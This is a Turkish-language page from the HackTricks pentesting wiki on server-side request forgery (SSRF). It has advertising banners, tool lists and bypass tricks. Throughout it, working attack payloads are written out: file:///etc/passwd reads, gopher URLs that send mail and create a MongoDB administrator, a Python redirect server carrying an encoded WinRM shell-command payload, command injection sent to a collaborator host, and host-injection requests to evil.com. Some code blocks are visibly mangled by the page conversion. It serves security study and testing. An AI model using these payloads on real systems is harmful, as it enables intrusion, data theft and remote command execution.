24 KiB
SSRF (Sunucu Tarafı İstek Sahtekarlığı)
Trickest kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen iş akışlarını kolayca oluşturun ve otomatikleştirin.
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Sıfırdan kahramana kadar AWS hacklemeyi öğrenin htARTE (HackTricks AWS Red Team Expert)!
HackTricks'ı desteklemenin diğer yolları:
- Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız veya HackTricks'i PDF olarak indirmek istiyorsanız ABONELİK PLANLARI'na göz atın!
- Resmi PEASS & HackTricks ürünlerini edinin
- The PEASS Family'yi keşfedin, özel NFT'lerimiz koleksiyonumuzu keşfedin
- 💬 Discord grubuna katılın veya telegram grubuna katılın veya bizi Twitter 🐦 @carlospolopm** takip edin.**
- Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud github depolarına PR'lar gönderin.
Temel Bilgiler
Bir Sunucu Tarafı İstek Sahtekarlığı (SSRF) zafiyeti, bir saldırganın bir sunucu tarafı uygulamasını manipüle ederek istedikleri bir alan adına HTTP istekleri yapmasına neden olduğunda ortaya çıkar. Bu zafiyet, saldırgan tarafından yönlendirilen keyfi harici isteklere sunucuyu maruz bırakır.
SSRF Yakalama
Yapmanız gereken ilk şey, sizin tarafınızdan oluşturulan bir SSRF etkileşimini yakalamaktır. Bir HTTP veya DNS etkileşimini yakalamak için şu araçları kullanabilirsiniz:
- Burp Collaborator
- pingb
- canarytokens
- interractsh
- http://webhook.site
- https://github.com/teknogeek/ssrf-sheriff
- http://requestrepo.com/
- https://github.com/stolenusername/cowitness
- https://github.com/dwisiswant0/ngocok - ngrok kullanan Bir Burp Collaborator
Beyaz Listelenen Alanlar Geçme
Genellikle SSRF'nin yalnızca belirli beyaz listelenen alanlarda veya URL'de çalıştığını göreceksiniz. Aşağıdaki sayfada, o beyaz listeyi atlatmaya çalışmak için derlenmiş tekniklerin bir derlemesi bulunmaktadır:
{% content-ref url="url-format-bypass.md" %} url-format-bypass.md {% endcontent-ref %}
Açık Yönlendirmeyi Kullanarak Atlatma
Sunucu doğru bir şekilde korunuyorsa, web sayfası içindeki bir Açık Yönlendirme'yi sömürerek tüm kısıtlamaları atlayabilirsiniz. Çünkü web sayfası aynı alan adına SSRF'ye izin verecek ve muhtemelen yönlendirmeleri takip edecektir, Sunucunun iç herhangi bir kaynağa erişmesi için Açık Yönlendirmeyi sömürebilirsiniz.
Daha fazla bilgi için buraya bakın: https://portswigger.net/web-security/ssrf
Protokoller
- file://
file://
URL şeması, doğrudan/etc/passwd
'ye işaret eder:file:///etc/passwd
- dict://
- DICT URL şeması, DICT protokolü aracılığıyla tanımlar veya kelime listelerine erişim için kullanıldığı belirtilir. Verilen bir örnek, belirli bir kelimeyi, veritabanını ve giriş numarasını hedefleyen oluşturulmuş bir URL'i ve bir PHP betiğinin, saldırgan tarafından sağlanan kimlik bilgilerini kullanarak bir DICT sunucusuna bağlanmak için potansiyel olarak yanlış kullanıldığı bir örneği gösterir:
dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>
- SFTP://
- Güvenli kabuk üzerinden güvenli dosya transferi için bir protokol olarak tanımlanır, bir PHP betiğinin kötü niyetli bir SFTP sunucusuna bağlanmak için nasıl sömürülebileceğini gösteren bir örnek sunulur:
url=sftp://generic.com:11111/
- TFTP://
- UDP üzerinden çalışan Trivial File Transfer Protocol, bir PHP betiğinin bir TFTP sunucusuna bir istek göndermek için tasarlandığı bir örnekle belirtilir. 'generic.com' üzerinde '12346' portuna 'TESTUDPPACKET' dosyası için bir TFTP isteği yapılır:
ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET
- LDAP://
- Bu bölüm, IP ağları üzerinde dağıtılmış dizin bilgi hizmetlerini yönetmek ve erişmek için kullanılan Hafif Dizin Erişim Protokolü'nü kapsar. Localhost'taki bir LDAP sunucusuyla etkileşim:
'%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.
- SMTP
- SSRF zafiyetlerini kullanarak localhost'taki SMTP hizmetleriyle etkileşimde bulunmak için bir yöntem açıklanmıştır, dahili alan adlarını ortaya çıkarmak için adımlar ve bu bilgilere dayalı daha fazla araştırma eylemleri içerir.
From https://twitter.com/har1sec/status/1182255952055164929
1. connect with SSRF on smtp localhost:25
2. from the first line get the internal domain name 220[ http://blabla.internaldomain.com ](https://t.co/Ad49NBb7xy)ESMTP Sendmail
3. search[ http://internaldomain.com ](https://t.co/K0mHR0SPVH)on github, find subdomains
4. connect
- Curl URL globbing - WAF bypass
- Eğer SSRF curl tarafından yürütülüyorsa, curl'ün URL globbing adında bir özelliği vardır ve bu özellik WAF'leri atlatmak için kullanışlı olabilir. Örneğin bu yazıda
file
protokolü aracılığıyla yol geçişi için bir örnek bulabilirsiniz:
file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
- Gopher://
- Gopher protokolünün sunucu ile iletişim için IP, port ve baytları belirleme yeteneği ele alınırken, Gopherus ve remote-method-guesser gibi araçlar da paylaşılan yükler oluşturmak için kullanılmaktadır. İki farklı kullanım örneği verilmiştir:
Gopher://
Bu protokolü kullanarak sunucunun göndermesini istediğiniz IP, port ve baytları belirleyebilirsiniz. Daha sonra, temelde bir SSRF'yi sömürerek herhangi bir TCP sunucusuyla iletişim kurabilirsiniz (ancak önce hizmetle nasıl iletişim kurulacağını bilmelisiniz).
Neyse ki, çeşitli hizmetler için yükler oluşturmak için Gopherus kullanabilirsiniz. Ayrıca, Java RMI hizmetleri için gopher yükleri oluşturmak için remote-method-guesser kullanılabilir.
Gopher smtp
ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
will make a request like
HELO localhost
MAIL FROM:<hacker@site.com>
RCPT TO:<victim@site.com>
DATA
From: [Hacker] <hacker@site.com>
To: <victime@site.com>
Date: Tue, 15 Sep 2017 17:20:26 -0400
Subject: Ah Ah AHYou didn't say the magic word !
.
QUIT
Gopher HTTP
#For new lines you can use %0A, %0D%0A
gopher://<server>:8080/_GET / HTTP/1.0%0A%0A
gopher://<server>:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body
Gopher SMTP - 1337'e geri bağlanma
{% code title="redirect.php" %}
<?php
header("Location: gopher://hack3r.site:1337/_SSRF%0ATest!");
?>Now query it.
https://example.com/?q=http://evil.com/redirect.php.
{% endcode %}
Gopher MongoDB -- Kullanıcı oluştur username=admin password=admin123 ve izin=administrator ile
# Check: https://brycec.me/posts/dicectf_2023_challenges#unfinished
curl 'gopher://0.0.0.0:27017/_%a0%00%00%00%00%00%00%00%00%00%00%00%dd%0
7%00%00%00%00%00%00%00%8b%00%00%00%02insert%00%06%00%00%00users%00%02$db%00%0a
%00%00%00percetron%00%04documents%00V%00%00%00%030%00N%00%00%00%02username%00%
06%00%00%00admin%00%02password%00%09%00%00%00admin123%00%02permission%00%0e%00
%00%00administrator%00%00%00%00'
Referrer başlığı aracılığıyla SSRF ve Diğerleri
Sunuculardaki analiz yazılımları genellikle gelen bağlantıları izlemek için Referrer başlığını kaydeder, bu uygulamaları yanlışlıkla Sunucu Tarafı İstek Sahtekarlığı (SSRF) açıklarına maruz bırakır. Bu, çünkü bu tür yazılımlar, Referer başlığında belirtilen harici URL'leri analiz etmek için ziyaret edebilir. Bu açıkları ortaya çıkarmak için, Burp Suite eklentisi "Collaborator Everywhere" önerilir, analiz araçlarının Referer başlığını işleme şeklini kullanarak potansiyel SSRF saldırı yüzeylerini belirlemek.
Sertifikadan SNI verileri aracılığıyla SSRF
Herhangi bir arka uca bağlantıyı etkinleştirebilecek bir yanlış yapılandırma, bir Nginx yapılandırması örneği ile açıklanmıştır:
stream {
server {
listen 443;
resolver 127.0.0.11;
proxy_pass $ssl_preread_server_name:443;
ssl_preread on;
}
}
Bu yapılandırmada, Sunucu Adı Gösterimi (SNI) alanındaki değer doğrudan arka uç adresi olarak kullanılır. Bu kurulum, yalnızca istenen IP adresini veya alan adını SNI alanında belirterek sömürülebilecek olan Sunucu Tarafı İstek Sahtekarlığı (SSRF) açığına maruz kalır. openssl
komutunu kullanarak, örneğin internal.host.com
gibi keyfi bir arka uca bağlantı zorlamak için bir sömürü örneği aşağıda verilmiştir:
openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf
Wget dosyası yükleme
Komut Enjeksiyonu ile SSRF
url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami`
gibi bir yük denemeye değer olabilir.
PDF'lerin Render Edilmesi
Web sayfası otomatik olarak sağladığınız bazı bilgilerle bir PDF oluşturuyorsa, PDF oluşturulurken sunucu tarafından yürütülecek olan bazı JS kodları ekleyebilirsiniz ve bir SSRF'yi istismar edebilirsiniz. Daha fazla bilgiyi buradan bulabilirsiniz.
SSRF'den DoS'a
Birkaç oturum oluşturun ve oturumlardan SSRF'yi istismar ederek ağır dosyaları indirmeyi deneyin.
SSRF PHP Fonksiyonları
{% content-ref url="../../network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md" %} php-ssrf.md {% endcontent-ref %}
Gopher'a Yönlendirme ile SSRF
Bazı istismarlar için bir yönlendirme yanıtı göndermeniz gerekebilir (muhtemelen farklı bir protokol olan gopher'ı kullanmak için). Burada yönlendirme ile yanıt vermek için farklı python kodları bulunmaktadır:
# First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl
class MainHandler(BaseHTTPRequestHandler):
def do_GET(self):
print("GET")
self.send_response(301)
```html
self.send_header("Location", "gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%31%30%2e%31%31%2e%31%31%37%3a%35%39%38%36%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%70%79%74%68%6f%6e%2d%72%65%71%75%65%73%74%73%2f%32%2e%32%35%2e%31%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%3a%20%2a%2f%2a%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%6f%61%70%2b%78%6d%6c%3b%63%68%61%72%73%65%74%3d%55%54%46%2d%38%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%31%37%32%38%0d%0a%0d%0a%3c%73%3a%45%6e%76%65%6c%6f%70%65%20%78%6d%6c%6e%73%3a%73%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%33%2f%30%35%2f%73%6f%61%70%2d%65%6e%76%65%6c%6f%70%65%22%20%78%6d%6c%6e%73%3a%61%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%22%20%78%6d%6c%6e%73%3a%68%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%69%6e%64%6f%77%73%2f%73%68%65%6c%6c%22%20%78%6d%6c%6e%73%3a%6e%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%39%2f%65%6e%75%6d%65%72%61%74%69%6f%6e%22%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%77%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%78%73%69%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%31%2f%58%4d%4c%53%63%68%65%6d%61%22%3e%0a%20%20%20%3c%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%20%20%20%3c%61%3a%54%6f%3e%48%54%54%50%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%2e%31%3a%35%39%38%36%2f%77%73%6d%61%6e%2f%3c%2f%61%3a%54%6f%3e%0a%20%20%20%20%20%20%3c%77%3a%52%65%73%6f%75%72%63%65%55%52%49%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%3c%2f%77%3a%52%65%73%6f%75%72%63%65%55%52%49%3e%0a%20%20%20%20%20%20%3c%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%20%20%20%3c%61%3a%41%64%64%72%65%73%73%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%2f%72%6f%6c%65%2f%61%6e%6f%6e%79%6d%6f%75%73%3c%2f%61%3a%41%64%64%72%65%73%73%3e%0a%20%20%20%20%20%20%3c%2f%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%3c%61%3a%41%63%74%69%6f%6e%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%2f%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%3c%2f%61%3a%41%63%74%69%6f%6e%3e%0a%20%20%20%20%20%20%3c%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%31%30%32%34%30%30%3c%2f%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%3e%0a%20%20%20%20%20%20%3c%61%3a%4d%65%73%73%61%67%65%49%44%3e%75%75%69%64%3a%30%41%42%35%38%30%38%37%2d%43%32%43%33%2d%30%30%30%35%2d%30%30%30%30%2d%30%30%30%30%30%30%30%31%30%30%30%30%3c%2f%61%3a%4d%65%73%73%61%67%65%49%44%3e%0a%20%20
```python
self.end_headers()
httpd = HTTPServer(('0.0.0.0', 443), MainHandler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="server.pem", server_side=True)
httpd.serve_forever()
from flask import Flask, redirect
from urllib.parse import quote
app = Flask(__name__)
@app.route('/')
def root():
return redirect('gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20', code=301)
if __name__ == "__main__":
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
Trickest kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen otomatik iş akışlarını kolayca oluşturun ve otomatikleştirin.
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Yanlış yapılandırılmış vekiller ile SSRF
Bu yazıdan hileler.
Flask
Flask vekil açığı olan kod
```python from flask import Flask from requests import getapp = Flask('main') SITE_NAME = 'https://google.com'
@app.route('/', defaults={'path': ''}) @app.route('/path:path')
def proxy(path): return get(f'{SITE_NAME}{path}').content
if name == "main": app.run(threaded=False)
</details>
Flask, **`@`** karakterini başlangıç karakteri olarak kullanmaya izin verir, bu da **başlangıç ana bilgisayar adını kullanıcı adı yapar** ve yeni bir tane enjekte etmeyi sağlar. Saldırı isteği:
```http
GET @evildomain.com/ HTTP/1.1
Host: target.com
Connection: close
Spring Boot
Zararlı kod:
Keşfedildi ki bir isteğin yolunu karakter ;
ile başlatmak mümkündür, bu da daha sonra @
kullanmaya ve yeni bir ana bilgisayar enjekte etmeye olanak tanır. Saldırı isteği:
GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close
PHP Dahili Web Sunucusu
Zararlı PHP kodu
```php $proxy_site = $site.$current_uri; var_dump($proxy_site);echo "\n\n";
$response = file_get_contents($proxy_site); var_dump($response); ?>
</details>
PHP, URL'nin yolundaki **slash'tan önce `*` karakterinin kullanılmasına izin verir**, ancak yalnızca kök dizin `/` için kullanılabilir ve noktalar `.` ilk slash'tan önce izin verilmediği için, örneğin noktasız-hex kodlu bir IP adresinin kullanılması gerekmektedir:
```http
GET *@0xa9fea9fe/ HTTP/1.1
Host: target.com
Connection: close
DNS Rebidding CORS/SOP bypass
Eğer CORS/SOP nedeniyle yerel bir IP'den içerik çıkaramıyorsanız, bu kısıtlamayı atlamak için DNS Rebidding kullanılabilir:
{% content-ref url="../cors-bypass.md" %} cors-bypass.md {% endcontent-ref %}
Otomatik DNS Rebidding
Singularity of Origin
, DNS rebinding saldırıları gerçekleştirmek için bir araçtır. Saldırganın saldırı sunucusunun DNS adını hedef makinenin IP adresine yeniden bağlamak ve hedef makinedeki zayıf yazılımları sömürmek için saldırı yüklerini sunmak için gerekli bileşenleri içerir.
Ayrıca http://rebind.it/singularity.html adresinde genel olarak çalışan sunucuyu kontrol edin.
DNS Rebidding + TLS Oturum Kimliği/Oturum bileti
Gereksinimler:
- SSRF
- Dışa doğru TLS oturumları
- Yerel bağlantı noktalarında bulunan şeyler
Saldırı:
- Kullanıcının/botun saldırgan tarafından kontrol edilen bir alanı ziyaret etmesini isteyin
- DNS'nin TTL değeri 0 saniye olmalıdır (bu nedenle kurban, alanın IP'sini yakında tekrar kontrol edecektir)
- Kurban ile saldırganın alanı arasında bir TLS bağlantısı oluşturulur. Saldırgan, Ses Kimliği veya Oturum Bileti içine yükleme ekler.
- Alan, kullanıcının/botun alanı tekrar bir DNS isteği yapana kadar kendine karşı sonsuz bir yönlendirme döngüsü başlatacaktır.
- DNS isteğinde şimdi bir özel IP adresi verilir (örneğin 127.0.0.1)
- Kullanıcı/bot, TLS bağlantısını yeniden kurmaya çalışacak ve bunu yapmak için Ses Kimliği/Bilet Kimliği'ni gönderecektir (saldırganın yükünün bulunduğu yer). Bu sayede kullanıcının/botun kendisine saldırmasını başardınız.
Bu saldırı sırasında, localhost:11211 (memcache)'yi hedef almak istiyorsanız, kurbanın ilk bağlantıyı www.attacker.com:11211 ile kurmasını sağlamanız gerekir (port her zaman aynı olmalıdır).
Bu saldırıyı gerçekleştirmek için şu aracı kullanabilirsiniz: https://github.com/jmdx/TLS-poison/
Bu saldırının açıklandığı sunumu incelemek için daha fazla bilgi için şuraya bakın: https://www.youtube.com/watch?v=qGpAJxfADjo&ab_channel=DEFCONConference
Kör SSRF
Kör bir SSRF ile normal bir SSRF arasındaki fark, körde SSRF isteğinin yanıtını görememenizdir. Bu nedenle, yalnızca bilinen güvenlik açıklarını sömürebileceğiniz için daha zor sömürülebilir.
Zaman tabanlı SSRF
Sunucudan gelen yanıtların zamanını kontrol ederek, bir kaynağın var olup olmadığını belirlemek mümkün olabilir (belki var olan bir kaynağa erişmek, olmayan bir kaynağa erişmekten daha uzun sürebilir)
Bulut SSRF Sömürüsü
Bir bulut ortamında çalışan bir makinede bir SSRF açığı bulursanız, bulut ortamı hakkında ilginç bilgiler elde edebilir ve hatta kimlik bilgilerini alabilirsiniz:
{% content-ref url="cloud-ssrf.md" %} cloud-ssrf.md {% endcontent-ref %}
SSRF'ye Hassas Platformlar
Bazı bilinen platformlar SSRF açıkları içerir veya içermiştir, bunları kontrol edin:
{% content-ref url="ssrf-vulnerable-platforms.md" %} ssrf-vulnerable-platforms.md {% endcontent-ref %}
Araçlar
SSRFMap
SSRF açıklarını tespit etmek ve sömürmek için bir araç
Gopherus
Bu araç, şunlar için Gopher yükleri oluşturur:
- MySQL
- PostgreSQL
- FastCGI
- Redis
- Zabbix
- Memcache
remote-method-guesser
remote-method-guesser, en yaygın Java RMI açıkları için saldırı işlemlerini destekleyen bir Java RMI güvenlik açığı tarayıcısıdır. Mevcut işlemlerin çoğu, istenen işlem için bir SSRF yükü oluşturmak için --ssrf
seçeneğini destekler. --gopher
seçeneği ile birlikte, hazır kullanıma hazır gopher yükleri doğrudan oluşturulabilir.
SSRF Proxy
SSRF Proxy, Server-Side Request Forgery (SSRF) açıklarına sahip HTTP sunucuları üzerinden istemci HTTP trafiğini yönlendirmek için tasarlanmış çoklu iş parçacıklı bir HTTP proxy sunucusudur.
Uygulamak için
{% embed url="https://github.com/incredibleindishell/SSRF_Vulnerable_Lab" %}
Referanslar
- https://medium.com/@pravinponnusamy/ssrf-payloads-f09b2a86a8b4
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery
- https://www.invicti.com/blog/web-security/ssrf-vulnerabilities-caused-by-sni-proxy-misconfigurations/
- https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies